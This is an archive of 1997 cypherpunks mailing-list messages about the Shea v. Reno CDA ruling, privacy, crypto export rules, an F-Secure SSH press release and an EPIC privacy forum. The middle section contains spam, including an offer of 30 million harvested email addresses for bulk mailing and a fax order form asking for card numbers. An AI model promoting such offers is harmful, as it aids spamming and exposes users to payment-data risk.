Subject: Supreme Court summarily affirms Shea v. Reno CDA case
Message-ID: <v03007801afddf836bce9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Dealing the final blow to the Communications Decency
Act, the Supreme Court last Friday again ruled the law
was unconstitutional.

In a one-line order, the justices summarily affirmed
the ruling of a New York federal district court that
struck down the law last July. Joe Shea filed the
lawsuit in February 1996 on behalf of his online
publication, the American Reporter.

Since the court did not write an opinion, however, the
Shea v. Reno case does not have the same hefty
precedential value as the ACLU v. Reno lawsuit brought
by the American Civil Liberties Union and American
Library Association plaintiffs.

"Since in practice ACLU v. Reno is the law of the
land, that preempts any binding force that Shea v.
Reno might have," says UCLA law professor Eugene
Volokh. Shea challenged only part of the CDA and
didn't win as broad a victory at the trial court
level as the ACLU and ALA coalitions did.

Still, Shea is celebrating. "What it really means to
me is that other countries aren't going to get the
support they hoped for when they start or continue to
suppress the Internet," he says. "The Net is going to
be an important vehicle for new democracies around the
world. People are going to voice on the Internet what
they can't voice on radio or TV. Governments are going
to find it harder to regulate because the U.S. Supreme
Court stood behind the First Amendment in both of
these cases."

Shea filed the case with the pro bono help of
Arent Fox, Kintner Plotkin & Kahn, a Washington law
firm.

Shea recently signed a partnership with nando.net, which
now will publish the American Reporter online. It'll go
live in July at http://american-reporter.com

-Declan

More info:

 http://www.eff.org/pub/Legal/Cases/Am_Reporter_v_DoJ/

 http://www.newshare.com/Reporter/3097/3097-6.html

 http://www.newshare.com/Reporter/3097/3097-8.html



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 09:05:24 +0800
To: cypherpunks@toad.com
Subject: Has your privacy been invaded? Protected? Both?
Message-ID: <v0300780bafde012ed89e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



We hear a lot of steamy rhetoric about privacy and the information age, but
few real-world examples. I'm working on a story now for Time about just
this: what's happening to individual privacy today.

Does the Net make us more exposed -- DejaNews and 411-type databases -- or
does it provide us with more privacy through tools like anonymous remailers
and pseudonymous identities? Can we trust the government to protect our
privacy when it works tirelessly to invade it?

Much has been written about this. What I'm looking for now are examples.
Have you used an anonymous remailer to cloak your identity, or been flamed
through one? Have you been denied a transaction at a store because you
refused to identify yourself? Have you hunted through databases to find
someone important? Has sensitive information about you turned up in one?

I'd appreciate hearing some stories...

Thanks all,

Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 12:34:54 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Hate Minute
In-Reply-To: <v03007800afdd85e782c6@[207.94.249.169]>
Message-ID: <v03007804afde2fb480be@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 AM -0700 6/30/97, Tim May wrote:
>At 9:57 AM -0700 6/30/97, Bill Frantz wrote:
>
>>To get elected in America, you have to give the voters someone to hate.
>>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>>pornographers (and tobacco companies).  Hate is just so much better as a
>>motivating force than good government (whatever "good" is).
>
>Yes, why don't we just finish the process and institute the "Hate Minute"?

Actually the story that comes to my mind is by the TV personality Steve
Allen, and if I remember correctly called, "The Hating".  The then accepted
form of capitol punishment is to tie the perp to a stake in the middle of
Yankee Stadium.  A cheerleader gets the assembled crowd to hate - Hate -
HATE, and their psychic energy burns the perp thru telekinesis.  Quite a
chilling short story.  (Also quite old.  Telekinesis was then still
considered hard science fiction.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 12:39:32 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <v03007813afddcf2813fa@[168.161.105.191]>
Message-ID: <v03007805afde33435765@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:02 PM -0700 6/30/97, Declan McCullagh wrote:
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
> ... One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.

At least we can point to the Supreme Court CDA decision which called the
net a medium worthy of the highest level of First Amendment protection.
(Putting on my optimist hat.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 1 Jul 1997 09:46:25 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970701011350.006a641c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry 'bout that .txt typo for the SAFE report; it's HTM:

   http://jya.com/hr105-108.htm  (94K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 1 Jul 1997 09:46:31 +0800
To: cypherpunks@toad.com
Subject: Denning Paper
Message-ID: <1.5.4.32.19970701012342.006b2d44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Forward:

Professor Dorothy Denning's paper, "Encryption and Evolving Technologies as 
Tools of Organized Crime and Terrorism," will be available in early July. 

Should you wish to purchase a copy please send a check or money order for 
$10.00 (includes shipping and handling) payable to the National Strategy 
Information Center, at the following address: 1730 Rhode Island Ave. NW, 
Suite 500, Washington, DC 20036. We will be happy to send you a copy once
we receive your payment. 

Should you have any further questions please feel free to contact me.

Sincerely,
Marcia McGowan
Working Group on Organized Crime
National Strategy Information Center
 
----------------------------------------------------------------------------

Excerpt of the paper at:

  http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 13:31:43 +0800
To: alano@teleport.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <86772952415649@cs26.cs.auckland.ac.nz>
Message-ID: <v03007808afde3e5ff547@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:58 AM -0700 7/1/97, Peter Gutmann wrote:
>>Copyright laws will do nothing to prevent the text from being distributed.
>>All copyright laws will do is make you able to punish "offenders" after
>>the fact.  They have no mystical value to "protect" anything, especially
>>digital medium, which is easy to copy.
>
>What makes this case especially awkward is the fact that the CDROM can't
>legally be sold outside the US, which means the only way the rest of the
>world
>can get it is through illegal copies.  Given the immense usefulness of
>something like this, I'd say it's only a matter of time before bootleg copies
>start appearing outside the US, but because of the USG's position we can't
>pay
>for it even if we want to (DDJ wouldn't look too good if they accepted
>payment
>for what they knew was illegally exported crypto).  Perhaps a donation of the
>same amount to charity would serve as some equivalent to payment...

It might also be a nice gesture if the parts of the CDROM available outside
the US were not posted.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 17 Aug 1997 13:13:21 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <3.0.1.32.19970616231344.006959d8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>From: Brent Heustess <heustess@mail.utexas.edu>
>
>   This is a really spooky web site <http://www.publiclink.com>.  You can
>search 17 million Texas drivers by name, driver's license number or
>license plate number.  When you find a person, you can then find everyone
>at that address with a license.  You can even find everyone with the same
>9-digit zip code.  The record does not have a GIF of the photo, but it
>has everything else on the license.

Those who tell the government the actual address where they sleep at night
have no expectation of privacy.  Most governments don't care if you
substitute an accomodation address.  If you find a government that does
care, shop around until you find another that doesn't.  I've been turned
down exactly once in my career when I attempted to use an accomodation
address for DMV purposes.  I went elsewhere.

DCF
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Tue, 10 Jun 1997 15:18:28 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: A Design for Life
Message-ID: <199706100850.JAA31487@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week the award-winning Shift Control presents...

The Design Issue

David Carson, former surfing pro turned international advertising 
consultant, is one of the most influential and instantly recognisable 
graphic designers of his generation. Edo van Duyn talks to him in a 
Shift Control exclusive.

The Royal College of Art's Industrial Design Engineering course has 
over the years moulded some of Britain's greatest creative talents - 
including the inventor of the Dual Cyclone vacuum, James Dyson. Shift 
Control talks to some of this year's graduates to discover the gadgets 
and gizmos of tomorrow.

And Andrew Byrom presents a guide to contemporary typography - the 
ubiquitous, ephemeral and disposable art form that's defining design 
in the Nineties.

Also this week, Shift Control launches the Design Gallery - a brand 
new section featuring the some of the best examples of British art 
and design.

Plus: Shift Control announces the creation of the world's first bionic 
bee, and you have another chance to win £200 in our short story 
competition.

All this plus the usual selection of rants, reckoners, reviews and 
revelations, waiting for you NOW at www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crime@tarsey.com
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
To: You@Public.Com
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 40748258@tarsey.com
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
To: Friend@public.com
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53365743@prodigy.com
Date: Thu, 12 Jun 1997 04:06:16 -0700 (PDT)
To: 8973823yhbvdmnhsc899@compuserve.com
Subject: toner
Message-ID: <612357fdsd623f73642gejgsh6e2897>
MIME-Version: 1.0
Content-Type: text/plain







(For all your Printer/Fax/Copier Supplies)

BENCHMARK PRINT SUPPLY
5579-B Chamblee Dunwoody Rd  #371
Atlanta GA 30338
(770)512-0083

PLEASE FORWARD TO YOUR OFFICE SUPPLY MANAGER

As of 4/1/97 our new, laser printer cartridge, prices are as follows:

HEWLETT PACKARD

Series 2,3=$59   
Series 2P=$54 (After $10 Rebate)
Series 4,4M,4 Plus =$79
Series 3SI/4SI=$85
Series 4L=$54 (After $10 Rebate)
Series 5L=$50 (After $10 Rebate)
Series 5P=$79  (After $10 Rebate)
Series 4V=$100 (After $10 Rebate)
Series 5SI= $135 (After $25 Rebate)
Fax  FX1/FX2=$59 (After $10 Rebate)
Deskjet/Inkjet= Please call for $$.

IBM/LEXMARK:  

Optra 4019/4029/4039=$125

EPSON: 

Models  7000/1500=$100 (After $15 Rebate)

CANON FAX/PC'S:   

700,770,5000,7000=$59 (After $10 Rebate)
PC Copier 6re/7/11=$69 (After $10 Rebate)
PC Copier 320=$79 (After $10 Rebate)


FOR OTHER PRINTER/FAX/COPIER SUPPLIES NOT LISTED ABOVE PLEASE CALL.

- All major credit cards accepted. 
- Corporate term accounts available with approved credit.
- Our office hours are 10-6 E.S.T.
- Sorry but e-mail orders or inquiries are not accepted at this time


TO BE REMOVED FROM OUR LIST CLICK ON BLUE BELOW
AND IN THE HEADER TYPE "REMOVE".

click here 

mailto:capital@answerme.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elisabeth Grace Baker <Elisabeth.Baker@DataFellows.com>
Date: Fri, 13 Jun 1997 00:22:19 -0700 (PDT)
To: F-Secure-press-us@DataFellows.com
Subject: Press release: F-Secure SSH for ISPs !
Message-ID: <3.0.1.32.19970613091009.009abaa0@194.197.29.10>
MIME-Version: 1.0
Content-Type: text/plain


- Data Fellows announces F-Secure SSH for Internet Service Providers

- Telecom Finland the first ISP to integrate strong encryption with
commercial Internet services 

Here is the latest press release regarding F-Secure SSH for ISPs -- 
the file is available from the Data Fellows ftp server as 
\partner\f-secure\marketng\presskit\sshtelec.zip
(Also available from N: as file:N:\DF\Press-Releases\f-secure\SSHtelec.rtf)

Enjoy!

Best regards,
Elisabeth Baker

-----------------------------------------------------------------

 Elisabeth.Baker@DataFellows.com            Tel +358 9 478 44551
 International Publication Coordinator      GSM +358 50 560 6350
 Data Fellows Security Software             Fax +358 9 478 44599

          Päiväntaite 8 * 02210 Espoo * Suomi - Finland
          kotiosoite: 24º55'21" E and 60º11'09" N  -smm
                   http://www.DataFellows.com
-----------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jukka Kotovirta <Jukka.Kotovirta@DataFellows.com>
Date: Fri, 13 Jun 1997 03:57:29 -0700 (PDT)
To: F-Secure-press-us@DataFellows.com
Subject: Data Fellows announces F-Secure SSH for Internet Service Providers
Message-ID: <2.2.32.19970613100856.008e06a0@smtp.datafellows.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3963.1071713711.multipart/mixed"

--Boundary..3963.1071713711.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Data Fellows Inc.		Press Release


FOR IMMEDIATE RELEASE
June 13th, 1997

Data Fellows announces F-Secure SSH for Internet Service Providers

Telecom Finland the first ISP to integrate strong encryption with commercial
Internet services 

Helsinki, Finland -  Data Fellows, the leading Internet security solutions
provider, announced today a new version of their popular F-Secure SSH
product, setting a new level of security for Internet Service Providers (ISPs).

F-Secure SSH for ISPs gives the customers of an Internet Service Provider
unmatched security by using the SSH security mechanism. The SSH protocol is
currently being standardized by the IETF (Internet Engineering Task Force)
as an application-level security mechanism to be used in conjunction with
Internet protocols. SSH is already widely used by security-conscious
organizations around the world.

The first user of F-Secure SSH for ISPs is Telecom Finland, who bundle the
product with their Internet services. "Since we are the leading
telecommunications operator in Finland,  we need to assure that our services
are reliable and data security maintained at a high level" says Mr. Harri
Johannesdahl, Director of Internet Services, Telecom Finland. "Good security
features also help us maintain our leading edge in this highly competitive
market."

The F-Secure product line offers strong end-user authentication and
encryption of any transferred data. Because the technologies are of European
origin, they are not limited by U.S. Export control. Internet Service
Providers around the world can now add strong security to their product
offering.

"Our F-Secure line of products guarantees ultimate security on the Internet.
Now companies can use the Internet as a serious business tool without the
fear of compromising their corporate assets because of any lack of
security",  explains Mr. Risto Siilasmaa, CEO of Data Fellows Inc. "Also
private Internet users will benefit from this development."

The authentication of users dialling in is done with cryptography, making
management and access control much easier to arrange on a large scale.
Dialling in can be done through any network structure, including the
Internet itself, facilitating Internet roaming. 

"Internet users will gain immediate benefit from F-Secure products. And the
emerging concept of 'extranets' between companies cannot launch safely
without strong authentication and encryption mechanisms", concludes Mr.
Siilasmaa.


Data Fellows company background

Privately owned Data Fellows is the leading technology provider of data
security solutions for computer networks and individual desktop computers.
The F-Secure product family offers protection for sensitive communications
over TCP/IP networks in Windows, Macintosh and UNIX environments. The family
includes products for the creation of strongly encrypted virtual private
networks (F-Secure VPN), secure electronic commerce solutions (F-Secure
Commerce) and secure files and folders on the local PC using strong
encryption (F-Secure Desktop). The F-PROT product is the industry's leading
virus protection software. These products are available world-wide in more
than 40 countries through Data Fellows and its business partners. 

See http://www.DataFellows.com for more information.

Contact information

Europe:	                               USA:
Data Fellows Ltd.	               Data Fellows Inc.
Päiväntaite 8	                       4000 Moorpark Avenue, Suite 207
FIN-02210 ESPOO, FINLAND	       San Jose, CA 95117, USA
tel. +358 9 478 444	               tel. (408) 244 9090
fax +358 9 4784 4599	               fax (408) 244 9494

http://www.DataFellows.com
email: F-Secure-Sales@DataFellows.com
 


RTF file

----------------------------------------------------------------------------
Jukka Kotovirta                             Tel      +358 9 478 444
Director OEM Sales & Major Accounts         Fax      +358 9 4784 4599
Data Fellows Ltd. 		            Mobile   +358 405 883 933
 
Paivantaite 8 		                    Jukka.Kotovirta@DataFellows.com
02210 Espoo			            http://www.DataFellows.com/
Finland, Europe            
----------------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Fri, 13 Jun 1997 15:09:51 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: SSA Privacy Forum 6.16.97
Message-ID: <v03102809afc771f3f32d@[204.91.138.250]>
MIME-Version: 1.0
Content-Type: text/plain



              Social Security Administration Forum
         Privacy and Customer Service in the Electronic Age

                    Monday, June 16, 1997

                  Georgetown U. Law Center
                      Moot Court Room
                   600 New Jersey Ave. NW
                    Washington D.C. 20001


Agenda:

WELCOME

12-12:15 pm

        Welcome by Marc Rotenberg, Director,
        Electronic Privacy Information Center and
        Professor, Georgetown Law University

        Introduction of Dr. John J. Callahan,
        Acting Commissioner of the Social Security Administration

PANEL #1 PRIVACY EXPERTS AND CONSUMER ADVOCATES 12:15-1:15 pm

        Leslie Byrne, Special Assistant to the President, and
        Director, U.S. Office of Consumer Affairs

        Harry Hammitt, Editor and Publisher,
        Access Report Newsletter

        Evan Hendricks, Editor and Publisher,
        Privacy Times and Chairman, U.S. Privacy Council

        Sally Katzen, Director, Office of Information
        and Regulatory Affairs, Office of Management and Budget

        Deirdre Mulligan, Staff Counsel, Center for
        Democracy and Technology

PANEL #2 COMPUTER TECHNOLOGY EXPERTS 1:30-2:15 pm

        Edward G. Amoroso, Technical Manager, AT&T Laboratories

        Michael Angelo, Principal Member, Technology Staff,
        Compaq Corporation

        Dorothy E. Denning, Professor of Computer Science,
        Georgetown University

        David P. Jablon, Software Engineer and Cryptographic
        Specialist, Integrity Sciences, Inc.

        George Spix, Chief Architect Consumer Platforms Division,
        Microsoft Corporation

PANEL #3 INTERNET COMMERCE, BANKING AND FINANCIAL PLANNING EXPERTS

2:30-3:15 pm

        Mark Greene, Vice President, Electronic Payments and
        Certification, IBM Internet Division

        Russ Housely, Chief Scientist, Spyrus, Inc.

        Charles Merrill, Partner, McCarter & English Law Firm

        Jahan Moreh, Chief Security Architect, Open Horizon, Inc.


PUBLIC COMMENT PERIOD - 3:15 pm

Members of public who have registered may
speak for 4 minutes. The panel may ask
questions following each individual's
testimony, if desired.


CLOSING REMARKS - 4:30 pm

For more information and directions, see:

    http://www.ssa.gov/forums/washingtondc.htm

More information on EPIC is available at

    http://www.epic.org/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 52622216@compuserve.com
Date: Sun, 15 Jun 1997 14:41:49 -0700 (PDT)
To: 110074.3669@compuserve.com
Subject: THE BEST DEAL AROUND.... PERIOD!
Message-ID: <1233021673627.GAA08056@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


{Removal instructions at bottom... }


 <><><>  Attention Internet Marketers ... Look no further.  <><><>

 30 (thirty) MILLION PLUS E-MAIL ADDRESSES - ONLY US$149!


(Please Note: Introductory offer - we encourage you to act soon.)


WorldWide Marketing Group is pleased to finally offer to the direct marketer,
the culmination of its intensive 6 month long project in compiling the single
largest e-mail address list available anywhere - over 30 million e-mail
addresses free of duplicates, one per line and alphabetically sorted - for
only US$149! This is for real... there is NO catch!

This massive list of AOL, Compuserve, Prodigy, Genie, Delphi, Microsoft
Network and general Internet addresses, is split into 120 easily manageable
ZIP files (unzip utilities included on CD) of 250,000 addresses each and is 
delivered to you on CD-ROM via regular mail. Sorry, but the sheer size of this
list makes it unfeasible to deliver via diskette or allow downloading via FTP.

The address files themselves consist of 1 address per line and are in 
standard ASCII text format - ready right away for use with any of the 
popular bulk e-mail packages available today.

Also, this list is CLEAN! There are NO duplicates, NO embedded spaces, NO
trailing or embedded white noise characters, NO garbage addresses with more
than one '@' character, NO embedded parentheses '(' or ')', NO 'Postmaster'
addresses, NO addresses beginning with non-valid characters (..addresses must 
begin with 0-9 or a-z), and all are in lower-case.

The list itself is *not* categorized or targeted by any geographic 
region or demographic in any way. It is simply a HUGE general list 
sorted in alphabetical order for the best price on the internet!

Indeed, this is absolutely the *best* offer around for the direct marketer,
and will finally put the little guy on even ground with even the biggest
bulk e-mailers!

Bulk e-mail is still in its infancy and is the new wave in cost-effective
global marketing. This huge list offers a whole world of vast potential sales
for you and your products - get on board now before you find yourself left
behind. We wish you success and we'll see you at the top!


To order in a secure fashion online via credit card (VISA/MasterCard/AMEX) 
just go to:

http://americapro.com/worldwide/

